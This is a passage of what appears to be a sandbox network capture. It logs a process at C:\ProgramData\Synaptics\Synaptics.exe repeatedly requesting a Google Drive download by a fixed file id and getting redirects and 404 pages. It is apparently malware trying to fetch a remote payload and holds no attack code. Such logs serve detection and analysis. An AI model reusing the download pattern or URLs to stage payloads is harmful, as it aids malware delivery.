2024-11-15 10:24:51 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49828	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:51 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:51 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:51 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-788NdEtxmJRSMa1K8gDteA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC4qTf-Qr1E_o4h5CVpliZNhp93BqEgIkZCFrDGYI11SWM1QJ7lVlfD3WzqM4C9Ya7PulA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:51 UTC	133	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title
2024-11-15 10:24:51 UTC	1378	IN	Data Raw: 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 6f 31 47 55 66 33 63 6f 51 75 57 33 47 62 67 39 46 61 41 66 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 Data Ascii: >Error 404 (Not Found)!!1</title><style nonce="mo1GUf3coQuW3Gbg9FaAfA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height
2024-11-15 10:24:51 UTC	141	IN	Data Raw: 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: an></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49825	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:51 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-59IfMcau9Be0fyHtj4Z04w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49830	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:52 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TQFYXui0kolPxSfgfIP92w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49831	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:52 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-egr-WnLRx5AlmrezpJyJHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49832	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:52 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:52 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:52 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-j5OKsjH9Kz7eZOLQWytnRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY19QKT9CqoHQA0iFf9UiWY6F8U_9px8BI18Hf7_xfJp20V3zqqr04gkGHrvnKS0rVFHkqDiN8PzKg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:52 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:52 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 7a 6b 44 43 76 58 41 52 39 4f 32 53 6d 58 71 47 4e 39 48 62 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="UzkDCvXAR9O2SmXqGN9Hbg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:52 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49833	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:52 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49840	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:53 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YJlVvdbYNLI68EFWzAVmMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49841	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:53 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-o9b4ikMSBT0F3nTIdVQO4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49838	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:54 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:54 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nhbmjDzFrDeMuU3TohqEUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC70rmNBiR7HW2SdocN52PqLfAlSsPnxEL3xZisCwhpeomv3BQ_R0RqGTY1wG5pWTb7xI4U4YAbgKw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:54 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:54 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 2d 68 4b 37 56 5f 6d 65 56 55 63 31 56 2d 5f 5a 45 44 54 6c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="t-hK7V_meVUc1V-_ZEDTlg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:54 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49839	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
